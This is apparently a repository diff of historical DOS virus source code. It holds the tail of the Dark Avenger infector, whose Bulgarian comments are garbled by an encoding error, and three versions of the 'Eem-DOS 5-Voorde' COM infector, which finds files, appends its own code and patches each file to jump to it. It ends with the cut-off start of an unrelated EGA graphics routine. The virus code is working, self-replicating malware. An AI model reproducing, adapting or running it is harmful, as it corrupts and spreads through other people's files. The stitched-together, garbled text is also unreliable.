||||
int_exit:
|
||||
pushf
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'Z'
|
||||
pop ds
|
||||
popf
|
||||
dummy proc far ;???
|
||||
ret 2
|
||||
dummy endp
|
||||
|
||||
; <20>°®¢¥°¿¢ ¤ «¨ ´ ©«º² ¥ .COM ¨«¨ .EXE. <20>¥ ±¥ ¨§¢¨ª¢ ¯°¨ ¨§¯º«¥¨¥ ´ ©«.
|
||||
|
||||
see_name:
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
scan_name:
|
||||
lodsb
|
||||
test al,al
|
||||
jz bad_name
|
||||
cmp al,'.'
|
||||
jnz scan_name
|
||||
call get_byte
|
||||
mov ah,al
|
||||
call get_byte
|
||||
cmp ax,'co'
|
||||
jz pos_com
|
||||
cmp ax,'ex'
|
||||
jnz good_name
|
||||
call get_byte
|
||||
cmp al,'e'
|
||||
jmp short good_name
|
||||
pos_com:
|
||||
call get_byte
|
||||
cmp al,'m'
|
||||
jmp short good_name
|
||||
bad_name:
|
||||
inc al
|
||||
good_name:
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; <20>°¥®¡° §³¢ ¢ lowercase (¯®¤¯°®£° ¬¨²¥ ± ¢¥«¨ª® ¥¹®).
|
||||
|
||||
get_byte:
|
||||
lodsb
|
||||
cmp al,'C'
|
||||
jc byte_got
|
||||
cmp al,'Y'
|
||||
jnc byte_got
|
||||
add al,20h
|
||||
byte_got:
|
||||
ret
|
||||
|
||||
; ˆ§¢¨ª¢ ®°¨£¨ «¨¿ INT 21h (§ ¤ ¥ ±¥ § ¶¨ª«¨).
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:[save_int_21]
|
||||
ret
|
||||
|
||||
; “°¥¦¤ ¢º¯°®± ¨§¯º«¨¬ ´ ©«.
|
||||
|
||||
do_file:
|
||||
push ds ;‡ ¯ §¢ °¥£¨±²°¨²¥ ¢ ±²¥ª
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
les ax,ds:[24h*4] ;‡ ¯ §¢ INT 13h ¨ INT 24h ¢ ±²¥ª
|
||||
push es ;¨ £¨ ¯®¤¬¥¿ ± ª®¨²® ²°¿¡¢
|
||||
push ax
|
||||
mov ds:[24h*4],offset int_24
|
||||
mov ds:[24h*4+2],cs
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[save_int_13],ax
|
||||
mov word ptr cs:[save_int_13+2],es
|
||||
mov ds:[13h*4],offset int_13
|
||||
mov ds:[13h*4+2],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;“°¥¦¤ ¢º¯°®± Read-only ´ ©«®¢¥²¥
|
||||
mov ax,4300h
|
||||
call function
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
je dont_change
|
||||
mov ax,4301h
|
||||
call function
|
||||
stc
|
||||
dont_change:
|
||||
pushf
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h ;‘¥£ ¢¥·¥ ¬®¦¥¬ ±¯®ª®©±²¢¨¥ ¤
|
||||
call function ;®²¢®°¨¬ ´ ©«
|
||||
jc cant_open
|
||||
mov bx,ax
|
||||
call disease
|
||||
mov ah,3eh ;‡ ²¢ °¿¥
|
||||
call function
|
||||
cant_open:
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf
|
||||
jnc no_update
|
||||
mov ax,4301h ;‚º§±² ®¢¿¢ ¥ ²°¨¡³²¨²¥ ´ ©« ,
|
||||
call function ; ª® ± ¡¨«¨ ¯°®¬¥¥¨ (§ ¢±¥ª¨ ±«³· ©)
|
||||
no_update:
|
||||
xor ax,ax ;‚º§±² ®¢¿¢ ¥ INT 13h ¨ INT 24h
|
||||
mov ds,ax
|
||||
pop ds:[13h*4]
|
||||
pop ds:[13h*4+2]
|
||||
pop ds:[24h*4]
|
||||
pop ds:[24h*4+2]
|
||||
pop dx ;‚º§±² ®¢¿¢ ¥ °¥£¨±²°¨²¥
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; ’ §¨ ¯®¤¯°®£° ¬ ¢º°¸¨ ·¥° ² ° ¡®² .
|
||||
|
||||
disease:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,offset top_save ;<3B>°®·¨² ¥ · «®²® ´ ©«
|
||||
mov cx,18h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;‡ ¯ §¢ ¥ ¤º«¦¨ ² ´ ©«
|
||||
int 21h
|
||||
mov word ptr [top_save+1ah],dx
|
||||
cmp ax,offset my_size ;<3B>¨ ²°¿¡¢ «® ¤ ¡º¤¥ top_file
|
||||
sbb dx,0
|
||||
jc stop_fuck_2 ;Œ «ª¨ ´ ©«®¢¥ ¥ ±¥ § ° §¿¢ ²
|
||||
mov word ptr [top_save+18h],ax
|
||||
cmp word ptr [top_save],5a4dh
|
||||
jne com_file
|
||||
mov ax,word ptr [top_save+8]
|
||||
add ax,word ptr [top_save+16h]
|
||||
call mul_16
|
||||
add ax,word ptr [top_save+14h]
|
||||
adc dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short see_sick
|
||||
com_file:
|
||||
cmp byte ptr [top_save],0e9h
|
||||
jne see_fuck
|
||||
mov dx,word ptr [top_save+1]
|
||||
add dx,103h
|
||||
jc see_fuck
|
||||
dec dh
|
||||
xor cx,cx
|
||||
|
||||
; <20>º« ¯°®¢¥°ª ¤ «¨ § ´ ©« ¥ § «¥¯¥ ª®©²® ²°¿¡¢
|
||||
|
||||
see_sick:
|
||||
sub dx,startup-copyright
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
add ax,offset top_file
|
||||
adc dx,0
|
||||
cmp ax,word ptr [top_save+18h]
|
||||
jne see_fuck
|
||||
cmp dx,word ptr [top_save+1ah]
|
||||
jne see_fuck
|
||||
mov dx,offset top_save+1ch
|
||||
mov si,dx
|
||||
mov cx,offset my_size
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc see_fuck
|
||||
cmp cx,ax
|
||||
jne see_fuck
|
||||
xor di,di
|
||||
next_byte:
|
||||
lodsb
|
||||
scasb
|
||||
jne see_fuck
|
||||
loop next_byte
|
||||
stop_fuck_2:
|
||||
ret
|
||||
see_fuck:
|
||||
xor cx,cx ;<3B>®§¨¶¨®¨° ¥ ¢ ª° ¿ ´ ©«
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je fuck_exe
|
||||
add ax,offset aux_size+200h ;„ ¥ ±² ¥ .COM ´ ©« ¬®£® £®«¿¬
|
||||
adc dx,0
|
||||
je fuck_it
|
||||
ret
|
||||
|
||||
; ˆ§° ¢¿¢ £° ¨¶ ¯ ° £° ´ § .EXE ´ ©«®¢¥²¥. ’®¢ ¥ ¡±®«¾²® ¥³¦®.
|
||||
|
||||
fuck_exe:
|
||||
mov dx,word ptr [top_save+18h]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx
|
||||
mov ax,4201h
|
||||
int 21h
|
||||
mov word ptr [top_save+18h],ax
|
||||
mov word ptr [top_save+1ah],dx
|
||||
fuck_it:
|
||||
mov ax,5700h ;‡ ¯ §¢ ¥ ¤ ² ² ´ ©«
|
||||
int 21h
|
||||
pushf
|
||||
push cx
|
||||
push dx
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je exe_file ;Œ®£® ³¬®, ¿¬ ¹®
|
||||
mov ax,100h
|
||||
jmp short set_adr
|
||||
exe_file:
|
||||
mov ax,word ptr [top_save+14h]
|
||||
mov dx,word ptr [top_save+16h]
|
||||
set_adr:
|
||||
mov di,offset call_adr
|
||||
stosw
|
||||
mov ax,dx
|
||||
stosw
|
||||
mov ax,word ptr [top_save+10h]
|
||||
stosw
|
||||
mov ax,word ptr [top_save+0eh]
|
||||
stosw
|
||||
mov si,offset top_save ;’®¢ ¤ ¢ ¢º§¬®¦®±² ° §¨ ¢°¥¤¨
|
||||
movsb ;¯°®£° ¬¨ ¤ ¢º§±² ®¢¿² ²®·®
|
||||
movsw ;®°¨£¨ « ² ¤º«¦¨ .EXE ´ ©«
|
||||
xor dx,dx
|
||||
mov cx,offset top_file
|
||||
mov ah,40h
|
||||
int 21h ;‡ ¯¨±¢ ¥ ¯°®£° ¬ ²
|
||||
jc go_no_fuck ;(¥ ²° ±¨° ©²¥ ²³ª)
|
||||
xor cx,ax
|
||||
jnz go_no_fuck
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je do_exe
|
||||
mov byte ptr [top_save],0e9h
|
||||
mov ax,word ptr [top_save+18h]
|
||||
add ax,startup-copyright-3
|
||||
mov word ptr [top_save+1],ax
|
||||
mov cx,3
|
||||
jmp short write_header
|
||||
go_no_fuck:
|
||||
jmp short no_fuck
|
||||
|
||||
; Š®±²°³¨° ¥ header- .EXE ´ ©«
|
||||
|
||||
do_exe:
|
||||
call mul_hdr
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jne calc_offs
|
||||
inc dx
|
||||
calc_offs:
|
||||
add ax,word ptr [top_save+18h]
|
||||
adc dx,word ptr [top_save+1ah]
|
||||
mov cx,10h
|
||||
div cx
|
||||
mov word ptr [top_save+14h],startup-copyright
|
||||
mov word ptr [top_save+16h],ax
|
||||
add ax,(offset top_file-offset copyright-1)/16+1
|
||||
mov word ptr [top_save+0eh],ax
|
||||
mov word ptr [top_save+10h],100h
|
||||
add word ptr [top_save+18h],offset top_file
|
||||
adc word ptr [top_save+1ah],0
|
||||
mov ax,word ptr [top_save+18h]
|
||||
and ax,1ffh
|
||||
mov word ptr [top_save+2],ax
|
||||
pushf
|
||||
mov ax,word ptr [top_save+19h]
|
||||
shr byte ptr [top_save+1bh],1
|
||||
rcr ax,1
|
||||
popf
|
||||
jz update_len
|
||||
inc ax
|
||||
update_len:
|
||||
mov word ptr [top_save+4],ax
|
||||
mov cx,18h
|
||||
write_header:
|
||||
mov dx,offset top_save
|
||||
mov ah,40h
|
||||
int 21h ;‡ ¯¨±¢ ¥ · «®²® ´ ©«
|
||||
no_fuck:
|
||||
pop dx
|
||||
pop cx
|
||||
popf
|
||||
jc stop_fuck
|
||||
mov ax,5701h ;‚º§±² ®¢¿¢ ¥ ®°¨£¨ « ² ¤ ²
|
||||
int 21h
|
||||
stop_fuck:
|
||||
ret
|
||||
|
||||
; ˆ§¯®«§³¢ ±¥ ®² ¯®¤¯°®£° ¬¨²¥ § ®¡° ¡®²ª INT 21h ¨ INT 27h ¢º¢ ¢°º§ª
|
||||
; ±º± ±ª°¨¢ ¥²® ¯°®£° ¬ ² ¢ ¯ ¬¥²² ®² µ®° , ª®¨²® ¿¬ ³¦¤ ¤ ¿
|
||||
; ¢¨¦¤ ². –¿« ² ² §¨ ±¨±²¥¬ ¥ ¡±³°¤ ¨ £«³¯ ¢ ¨ ¥ ®¹¥ ¥¤¨ ¨§²®·¨ª
|
||||
; ª®´«¨ª²¨ ±¨²³ ¶¨¨.
|
||||
|
||||
alloc:
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'M'
|
||||
pop ds
|
||||
|
||||
; Ž±¨£³°¿¢ ®±² ¢ ¥²® ¯°®£° ¬ ² ¢º°µ ¢¥°¨£ ² ¯°®¶¥±¨,
|
||||
; ¯°¥µ¢ «¨ INT 21h (¥²® ®¹¥ ¥¤¨ ¨§²®·¨ª ª®´«¨ª²¨).
|
||||
|
||||
ontop:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
lds dx,ds:[21h*4]
|
||||
cmp dx,offset int_21
|
||||
jne search_segment
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
je test_complete
|
||||
|
||||
; <20>°¥²º°±¢ ±¥£¬¥² ²° ¯¨ª ¯°¥µ¢ « INT 21h, § ¤ ¬¥°¨ ªº¤¥ ²®©
|
||||
; ¥ § ¯ §¨« ±² ° ² ±²®©®±² ¨ ¤ ¿ ¯®¤¬¥¨. ‡ INT 27h ¥ ±¥ ¯° ¢¨ ¨¹®.
|
||||
|
||||
xor bx,bx
|
||||
search_segment:
|
||||
mov ax,[bx]
|
||||
cmp ax,offset int_21
|
||||
jne search_next
|
||||
mov ax,cs
|
||||
cmp ax,[bx+2]
|
||||
je got_him
|
||||
search_next:
|
||||
inc bx
|
||||
jne search_segment
|
||||
je return_control
|
||||
got_him:
|
||||
mov ax,word ptr cs:[save_int_21]
|
||||
mov [bx],ax
|
||||
mov ax,word ptr cs:[save_int_21+2]
|
||||
mov [bx+2],ax
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
xor bx,bx
|
||||
|
||||
; ˆ ¤ ¥ £® ¯ §¨ ¢ ±º¹¨¿ ±¥£¬¥², ²®¢ ¢±¥ ¥¤® ¿¬ ¤ ¬³ ¯®¬®£¥
|
||||
|
||||
return_control:
|
||||
mov ds,bx
|
||||
mov ds:[21h*4],offset int_21
|
||||
mov ds:[21h*4+2],cs
|
||||
test_complete:
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; <20> ¬¨° ¥ ±¥£¬¥² ¯®±«¥¤¨¿ MCB
|
||||
|
||||
get_chain:
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call function
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
next_blk:
|
||||
mov ds,bx
|
||||
stc
|
||||
adc bx,ds:[3]
|
||||
cmp bx,ax
|
||||
jc next_blk
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; “¬®¦¥¨¥ ¯® 16
|
||||
|
||||
mul_hdr:
|
||||
mov ax,word ptr [top_save+8]
|
||||
mul_16:
|
||||
mov dx,10h
|
||||
mul dx
|
||||
ret
|
||||
|
||||
db 'This program was written in the city of Sofia '
|
||||
db '(C) 1988-89 Dark Avenger',0
|
||||
|
||||
; Ž¡° ¡®²ª INT 13h.
|
||||
; ˆ§¢¨ª¢ ®°¨£¨ «¨²¥ ¢¥ª²®°¨ ¢ BIOS, ª® ±² ¢ ¤³¬ § § ¯¨±.
|
||||
|
||||
int_13:
|
||||
cmp ah,3
|
||||
jnz subfn_ok
|
||||
cmp dl,80h
|
||||
jnc hdisk
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
my_size: ;--- „®²³ª ±¥ ±° ¢¿¢ ± ®°¨£¨ «
|
||||
disk:
|
||||
dd 0
|
||||
hdisk:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
fdisk:
|
||||
dd 0
|
||||
subfn_ok:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
save_int_13:
|
||||
dd 0
|
||||
call_adr:
|
||||
dd 100h
|
||||
|
||||
stack_pointer:
|
||||
dd 0 ;Ž°¨£¨ « ±²®©®±² SS:SP
|
||||
my_save:
|
||||
int 20h ;Ž°¨£¨ «® ±º¤º°¦ ¨¥ ¯º°¢¨²¥
|
||||
nop ;3 ¡ ©² ®² ´ ©«
|
||||
top_file: ;--- „®²³ª ±¥ § ¯¨±¢ ¢º¢ ´ ©«®¢¥²¥
|
||||
filehndl equ $
|
||||
filename equ filehndl+2 ;<3B>³´¥° § ¨¬¥ ²¥ª³¹® ®²¢®°¥¨¿ ´ ©«
|
||||
save_int_27 equ filename+65 ;Ž°¨£¨ « ±²®©®±² INT 27h
|
||||
save_int_21 equ save_int_27+4 ;Ž°¨£¨ « ±²®©®±² INT 21h
|
||||
aux_size equ save_int_21+4 ;--- „®²³ª ±¥ ¯°¥¬¥±²¢ ¢ ¯ ¬¥²²
|
||||
top_save equ save_int_21+4 ;<3B> · «® ¡³´¥° , ±º¤º°¦ ¹:
|
||||
; - <20>º°¢¨²¥ 24 ¡ ©² ¯°®·¥²¥¨ ®² ´ ©«
|
||||
; - „º«¦¨ ² ´ ©« (4 ¡ ©² )
|
||||
; - <20>®±«¥¤¨²¥ ¡ ©²®¢¥ ®² ´ ©«
|
||||
; (± ¤º«¦¨ my_size)
|
||||
top_bz equ top_save-copyright
|
||||
my_bz equ my_size-copyright
|
||||
code ends
|
||||
end
|
||||
|
|
@ -0,0 +1,121 @@
|
|||
; The Eem-DOS 5-Voorde Virus version 2.0
|
||||
;
|
||||
; Smallest (101 bytes) COM file infector which works with te folowing
|
||||
; principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ____________ _____ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; This bab's length
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jump te virus. (carrier
|
||||
; program)
|
||||
VX:
|
||||
mov si,100H
|
||||
PUSH SI ; Put 100h in DI and save
|
||||
PUSH SI ; it as return point.
|
||||
POP DI ;
|
||||
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate where the old 3
|
||||
POP SI ; bytes are stored.
|
||||
ADD SI,(OLD_BYTES - RELATIVE) ;
|
||||
|
||||
PUSH SI ; Save it for later.
|
||||
|
||||
; MOV CL,3 ; Restore the first 3 bytes.
|
||||
; REP MOVSB ;
|
||||
xor cl,cl
|
||||
movsw
|
||||
movsb
|
||||
|
||||
MOV DX,SI ; Set DX to file spec.
|
||||
|
||||
POP SI ; Restore SI
|
||||
|
||||
DEC AX ;
|
||||
AGAIN: ADD AH,4Fh ; Search for (next) file
|
||||
INT 21h ; and exit if non found.
|
||||
JC EXIT ;
|
||||
|
||||
MOV DI,SI ; Put SI in DI
|
||||
|
||||
MOV AH,3Eh ; Close open file. (also
|
||||
CALL OPEN ; nice anti-debug trick!)
|
||||
|
||||
MOV AH,3Fh ; Read first 3 bytes.
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
|
||||
JE AGAIN ; is a JMP FAR. (marker)
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Goto EOF.
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set JMP to virus.
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus and open
|
||||
MOV DX,DI ; file again.
|
||||
SUB DX,(OLD_BYTES - VX) + 8 ;
|
||||
CALL OPEN ;
|
||||
|
||||
DEC DI ; Write JMP
|
||||
MOV AH,40h ;
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write 3 bytes.
|
||||
INT 21h ;
|
||||
EXIT:
|
||||
RET ; Start carrier program.
|
||||
|
||||
OPEN:
|
||||
INT 21h ;
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file.
|
||||
INT 21h ;
|
||||
XCHG BX,AX ;
|
||||
RET
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; First 3 bytes of carrier
|
||||
RET ; program.
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; File to search for (all)
|
||||
|
||||
NEW_BYTES DB 0E9h ; JMP to virus buffer.
|
||||
|
||||
THE_END:
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
||||
|
|
@ -0,0 +1,123 @@
|
|||
; The Eem-DOS 5-Voorde Virus
|
||||
;
|
||||
; Smallest COM file infector which works with te folowing principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ___________________ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
; You can reach me by contacting Byte Hunter. at Hunter BBS (he's the sysop)
|
||||
; +31-33-634415, and he'll get you in touch with me...
|
||||
;
|
||||
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; Length of this babe...
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jmp to virus
|
||||
VX:
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate relative offset
|
||||
POP BP ;
|
||||
SUB BP,OFFSET RELATIVE ;
|
||||
|
||||
MOV DI,SI ; Make DI = 100h and save
|
||||
PUSH DI ; it as return point.
|
||||
|
||||
LEA SI,[BP + OLD_BYTES] ;
|
||||
MOV CL,3 ; Restore old first bytes.
|
||||
REP MOVSB ;
|
||||
|
||||
MOV DX,SI ; Set DX to filespec.
|
||||
DEC AX ; Make AX=-1
|
||||
|
||||
AGAIN: ADD AH,4Fh ;
|
||||
INT 21h ; Search for file(s)
|
||||
JNC OK_1 ; If non left exit.
|
||||
RET ;
|
||||
OK_1:
|
||||
MOV AH,3Eh ; Close old file, also nice
|
||||
INT 21h ; anti-debug trick!!!!
|
||||
|
||||
MOV DI,SI ; Set DI to save old bytes
|
||||
SUB DI,3 ;
|
||||
|
||||
CALL OPEN ; Open the victim
|
||||
|
||||
MOV AH,3Fh ; Save first 3 bytes
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Is it allready infected?
|
||||
JE AGAIN ; If so, find next
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Set pointer to end of file
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set jump to virus
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus
|
||||
LEA DX,[BP + VX] ;
|
||||
INT 21h ;
|
||||
|
||||
CALL OPEN ; Open victim again
|
||||
|
||||
MOV AH,40h ;
|
||||
DEC DI ; Write jmp to virus
|
||||
CALL IO ;
|
||||
|
||||
RET ; Return to DOS
|
||||
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write sub
|
||||
INT 21h ;
|
||||
RET ;
|
||||
|
||||
OPEN:
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file in PSP for
|
||||
INT 21h ; reading/writing
|
||||
XCHG BX,AX ;
|
||||
RET ;
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; Old first bytes of file
|
||||
RET ;
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; Infect all files.
|
||||
; (and COM files will also
|
||||
; be infected....)
|
||||
|
||||
NEW_BYTES DB 0E9h ; Jmp to virus
|
||||
|
||||
THE_END: ; Bye Bye!
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
|
@ -0,0 +1,117 @@
|
|||
; The Eem-DOS 5-Voorde Virus version 2.0
|
||||
;
|
||||
; Smallest (101 bytes) COM file infector which works with te folowing
|
||||
; principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ____________ _____ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; This bab's length
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jump te virus. (carrier
|
||||
; program)
|
||||
VX:
|
||||
PUSH SI ; Put 100h in DI and save
|
||||
PUSH SI ; it as return point.
|
||||
POP DI ;
|
||||
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate where the old 3
|
||||
POP SI ; bytes are stored.
|
||||
ADD SI,(OLD_BYTES - RELATIVE) ;
|
||||
|
||||
PUSH SI ; Save it for later.
|
||||
|
||||
MOV CL,3 ; Restore the first 3 bytes.
|
||||
REP MOVSB ;
|
||||
|
||||
MOV DX,SI ; Set DX to file spec.
|
||||
|
||||
POP SI ; Restore SI
|
||||
|
||||
DEC AX ;
|
||||
AGAIN: ADD AH,4Fh ; Search for (next) file
|
||||
INT 21h ; and exit if non found.
|
||||
JC EXIT ;
|
||||
|
||||
MOV DI,SI ; Put SI in DI
|
||||
|
||||
MOV AH,3Eh ; Close open file. (also
|
||||
CALL OPEN ; nice anti-debug trick!)
|
||||
|
||||
MOV AH,3Fh ; Read first 3 bytes.
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
|
||||
JE AGAIN ; is a JMP FAR. (marker)
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Goto EOF.
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set JMP to virus.
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus and open
|
||||
MOV DX,DI ; file again.
|
||||
SUB DX,(OLD_BYTES - VX) + 8 ;
|
||||
CALL OPEN ;
|
||||
|
||||
DEC DI ; Write JMP
|
||||
MOV AH,40h ;
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write 3 bytes.
|
||||
INT 21h ;
|
||||
EXIT:
|
||||
RET ; Start carrier program.
|
||||
|
||||
OPEN:
|
||||
INT 21h ;
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file.
|
||||
INT 21h ;
|
||||
XCHG BX,AX ;
|
||||
RET
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; First 3 bytes of carrier
|
||||
RET ; program.
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; File to search for (all)
|
||||
|
||||
NEW_BYTES DB 0E9h ; JMP to virus buffer.
|
||||
|
||||
THE_END:
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
||||
|
|
@ -0,0 +1,172 @@
|
|||
;
|
||||
; grafix --- egagrafa.asm
|
||||
;
|
||||
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
|
||||
;
|
||||
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
|
||||
;
|
||||
; Modified 5/29/87 by sss to allow for different memory models
|
||||
;
|
||||
|
||||
title egagrafa
|
||||
|
||||
include macros.ah
|
||||
|
||||
sseg
|
||||
endss
|
||||
|
||||
g_linsiz equ 80
|
||||
g_pixbyte equ 8
|
||||
ega_gr_data equ 03cfh
|
||||
|
||||
dseg
|
||||
|
||||
ex g_drawbuf, dword
|
||||
ex g_xor, word
|
||||
ex g_xcliplo, word
|
||||
ex g_xcliphi, word
|
||||
ex g_ycliplo, word
|
||||
ex g_ycliphi, word
|
||||
|
||||
endds
|
||||
|
||||
exProc EGA_point_set
|
||||
exProc EGA_point_res
|
||||
|
||||
cseg _egagrafa
|
||||
|
||||
EGA_plot label byte ; to get accurate profiling data
|
||||
|
||||
; plot a point. ax = y; bl = c; cx = x;
|
||||
|
||||
pBegin plot
|
||||
|
||||
les si, g_drawbuf ; get address of buffer
|
||||
mov dx, g_linsiz ; y * g_linsiz
|
||||
mul dx
|
||||
add si, ax ; add to offset
|
||||
mov ax, cx ; x to AC (ohhh... what symmetry!)
|
||||
mov cx, g_pixbyte ; move it to use it...
|
||||
div cx
|
||||
add si, ax ; add quotient to offset (now complete)
|
||||
mov al, 80h ; make mask
|
||||
mov cx, dx
|
||||
shr ax, cl ; shift it
|
||||
mov dx, ega_gr_data ; shove it out to the mask register
|
